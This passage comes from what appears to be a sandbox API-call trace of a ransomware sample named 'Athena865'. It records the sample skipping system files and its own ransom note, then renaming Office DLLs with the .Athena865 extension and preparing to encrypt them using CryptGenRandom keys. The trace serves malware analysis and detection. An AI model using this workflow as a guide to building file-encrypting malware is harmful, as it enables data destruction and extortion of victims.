(lpString="^^^") returned 3 [0086.267] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0086.267] lstrlenW (lpString="abs") returned 3 [0086.267] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0086.267] lstrlenW (lpString="abx") returned 3 [0086.267] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0086.267] lstrlenW (lpString="accdb") returned 5 [0086.267] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0086.267] lstrlenW (lpString="accdc") returned 5 [0086.267] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0086.267] lstrlenW (lpString="accde") returned 5 [0086.267] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0086.267] lstrlenW (lpString="accdr") returned 5 [0086.267] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0086.267] lstrlenW (lpString="accdt") returned 5 [0086.269] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0086.269] lstrlenW (lpString="accdw") returned 5 [0086.269] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0086.269] lstrlenW (lpString="accft") returned 5 [0086.269] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0086.269] lstrlenW (lpString="adb") returned 3 [0086.269] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0086.269] lstrlenW (lpString="adb") returned 3 [0086.269] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0086.269] lstrlenW (lpString="ade") returned 3 [0086.269] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0086.269] lstrlenW (lpString="adf") returned 3 [0086.269] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0086.269] lstrlenW (lpString="adn") returned 3 [0086.270] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0086.270] lstrlenW (lpString="adp") returned 3 [0086.270] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0086.270] lstrlenW (lpString="alf") returned 3 [0086.270] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0086.270] lstrlenW (lpString="ask") returned 3 [0086.270] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0086.270] lstrlenW (lpString="btr") returned 3 [0086.270] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0086.270] lstrlenW (lpString="cat") returned 3 [0086.270] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0086.270] lstrlenW (lpString="cdb") returned 3 [0086.270] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0086.270] lstrlenW (lpString="ckp") returned 3 [0086.270] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0086.270] lstrlenW (lpString="cma") returned 3 [0086.270] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0086.270] lstrlenW (lpString="cpd") returned 3 [0086.270] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0086.270] lstrlenW (lpString="dacpac") returned 6 [0086.270] lstrcmpiW (lpString1="HR.DLL", lpString2="dacpac") returned 1 [0086.270] lstrlenW (lpString="dad") returned 3 [0086.270] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0086.270] lstrlenW (lpString="dadiagrams") returned 10 [0086.270] lstrcmpiW (lpString1="CUTCHR.DLL", lpString2="dadiagrams") returned -1 [0086.270] lstrlenW (lpString="daschema") returned 8 [0086.270] lstrcmpiW (lpString1="TCHR.DLL", lpString2="daschema") returned 1 [0086.270] lstrlenW (lpString="db-journal") returned 10 [0086.270] lstrcmpiW (lpString1="CUTCHR.DLL", lpString2="db-journal") returned -1 [0086.270] lstrlenW (lpString="db-shm") returned 6 [0086.270] lstrcmpiW (lpString1="HR.DLL", lpString2="db-shm") returned 1 [0086.271] lstrlenW (lpString="db-wal") returned 6 [0086.271] lstrcmpiW (lpString1="HR.DLL", lpString2="db-wal") returned 1 [0086.271] lstrlenW (lpString="dbc") returned 3 [0086.271] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0086.271] lstrlenW (lpString="dbs") returned 3 [0086.271] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0086.271] lstrlenW (lpString="dbt") returned 3 [0086.271] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0086.271] lstrlenW (lpString="dbv") returned 3 [0086.271] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0086.271] lstrlenW (lpString="dbx") returned 3 [0086.271] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0086.271] lstrlenW (lpString="dcb") returned 3 [0086.271] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0086.271] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0086.271] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0086.271] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0086.271] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTCHR.DLL.Athena865") returned 65 [0086.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTCHR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twcutchr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTCHR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twcutchr.dll.athena865"), dwFlags=0x1) returned 1 [0086.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTCHR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twcutchr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.272] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=166792) returned 1 [0086.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.273] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.273] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.274] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.274] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.274] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28e90, lpName=0x0) returned 0x154 [0086.275] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28e90) returned 0x170000 [0086.281] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.282] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.282] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.283] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0086.284] CloseHandle (hObject=0x154) returned 1 [0086.284] CloseHandle (hObject=0x17c) returned 1 [0086.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.285] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1cd80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWCUTLIN.DLL", cAlternateFileName="")) returned 1 [0086.285] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.285] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.285] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2=".") returned 1 [0086.285] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2="..") returned 1 [0086.285] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2="windows") returned -1 [0086.285] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2="bootmgr") returned 1 [0086.285] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2="temp") returned 1 [0086.285] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2="pagefile.sys") returned 1 [0086.286] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2="boot") returned 1 [0086.286] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2="ids.txt") returned 1 [0086.286] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2="ntuser.dat") returned 1 [0086.286] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2="perflogs") returned 1 [0086.286] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2="MSBuild") returned 1 [0086.286] lstrlenW (lpString="TWCUTLIN.DLL") returned 12 [0086.286] lstrcpyW (in: lpString1=0x241e89e, lpString2="TWCUTLIN.DLL" | out: lpString1="TWCUTLIN.DLL") returned="TWCUTLIN.DLL" [0086.286] lstrlenW (lpString="TWCUTLIN.DLL") returned 12 [0086.286] lstrlenW (lpString="Athena865") returned 9 [0086.286] lstrcmpiW (lpString1="UTLIN.DLL", lpString2="Athena865") returned 1 [0086.286] lstrlenW (lpString=".dll") returned 4 [0086.286] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2=".dll") returned 1 [0086.286] lstrlenW (lpString=".lnk") returned 4 [0086.286] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2=".lnk") returned 1 [0086.286] lstrlenW (lpString=".ini") returned 4 [0086.286] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2=".ini") returned 1 [0086.286] lstrlenW (lpString=".sys") returned 4 [0086.286] lstrcmpiW (lpString1="TWCUTLIN.DLL", lpString2=".sys") returned 1 [0086.286] lstrlenW (lpString="TWCUTLIN.DLL") returned 12 [0086.286] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTLIN.DLL.Athena865") returned 65 [0086.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTLIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twcutlin.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTLIN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twcutlin.dll.athena865"), dwFlags=0x1) returned 1 [0086.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWCUTLIN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twcutlin.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.288] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=118144) returned 1 [0086.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.288] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.289] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.289] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.289] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d080, lpName=0x0) returned 0x154 [0086.290] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d080) returned 0x100000 [0086.294] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.295] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.295] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.296] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.296] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.297] CloseHandle (hObject=0x154) returned 1 [0086.297] CloseHandle (hObject=0x17c) returned 1 [0086.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.298] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x12378, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWLAY32.DLL", cAlternateFileName="")) returned 1 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2=".") returned 1 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2="..") returned 1 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2="windows") returned -1 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2="bootmgr") returned 1 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2="temp") returned 1 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2="pagefile.sys") returned 1 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2="boot") returned 1 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2="ids.txt") returned 1 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2="ntuser.dat") returned 1 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2="perflogs") returned 1 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2="MSBuild") returned 1 [0086.298] lstrlenW (lpString="TWLAY32.DLL") returned 11 [0086.298] lstrcpyW (in: lpString1=0x241e89e, lpString2="TWLAY32.DLL" | out: lpString1="TWLAY32.DLL") returned="TWLAY32.DLL" [0086.298] lstrlenW (lpString="TWLAY32.DLL") returned 11 [0086.298] lstrlenW (lpString="Athena865") returned 9 [0086.298] lstrcmpiW (lpString1="LAY32.DLL", lpString2="Athena865") returned 1 [0086.298] lstrlenW (lpString=".dll") returned 4 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2=".dll") returned 1 [0086.298] lstrlenW (lpString=".lnk") returned 4 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2=".lnk") returned 1 [0086.298] lstrlenW (lpString=".ini") returned 4 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2=".ini") returned 1 [0086.298] lstrlenW (lpString=".sys") returned 4 [0086.298] lstrcmpiW (lpString1="TWLAY32.DLL", lpString2=".sys") returned 1 [0086.299] lstrlenW (lpString="TWLAY32.DLL") returned 11 [0086.299] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\TWLAY32.DLL.Athena865") returned 64 [0086.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWLAY32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\twlay32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWLAY32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twlay32.dll.athena865"), dwFlags=0x1) returned 1 [0086.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWLAY32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\twlay32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.300] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=74616) returned 1 [0086.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.301] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.301] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.301] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.301] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.301] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.301] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12680, lpName=0x0) returned 0x154 [0086.303] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12680) returned 0x100000 [0086.306] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.307] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.307] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.307] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.307] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.308] CloseHandle (hObject=0x154) returned 1 [0086.308] CloseHandle (hObject=0x17c) returned 1 [0086.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.309] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x6d88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWORIENT.DLL", cAlternateFileName="")) returned 1 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2=".") returned 1 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2="..") returned 1 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2="windows") returned -1 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2="bootmgr") returned 1 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2="temp") returned 1 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2="pagefile.sys") returned 1 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2="boot") returned 1 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2="ids.txt") returned 1 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2="ntuser.dat") returned 1 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2="perflogs") returned 1 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2="MSBuild") returned 1 [0086.309] lstrlenW (lpString="TWORIENT.DLL") returned 12 [0086.309] lstrcpyW (in: lpString1=0x241e89e, lpString2="TWORIENT.DLL" | out: lpString1="TWORIENT.DLL") returned="TWORIENT.DLL" [0086.309] lstrlenW (lpString="TWORIENT.DLL") returned 12 [0086.309] lstrlenW (lpString="Athena865") returned 9 [0086.309] lstrcmpiW (lpString1="RIENT.DLL", lpString2="Athena865") returned 1 [0086.309] lstrlenW (lpString=".dll") returned 4 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2=".dll") returned 1 [0086.309] lstrlenW (lpString=".lnk") returned 4 [0086.309] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2=".lnk") returned 1 [0086.309] lstrlenW (lpString=".ini") returned 4 [0086.310] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2=".ini") returned 1 [0086.310] lstrlenW (lpString=".sys") returned 4 [0086.310] lstrcmpiW (lpString1="TWORIENT.DLL", lpString2=".sys") returned 1 [0086.310] lstrlenW (lpString="TWORIENT.DLL") returned 12 [0086.310] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\TWORIENT.DLL.Athena865") returned 65 [0086.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWORIENT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\tworient.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWORIENT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\tworient.dll.athena865"), dwFlags=0x1) returned 1 [0086.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\TWORIENT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\tworient.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0086.311] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28040) returned 1 [0086.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0086.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0086.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0086.311] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0086.312] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0086.312] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.312] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7090, lpName=0x0) returned 0x154 [0086.314] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7090) returned 0x100000 [0086.315] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.316] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.316] CryptReleaseContext (hProv=0x518f80, 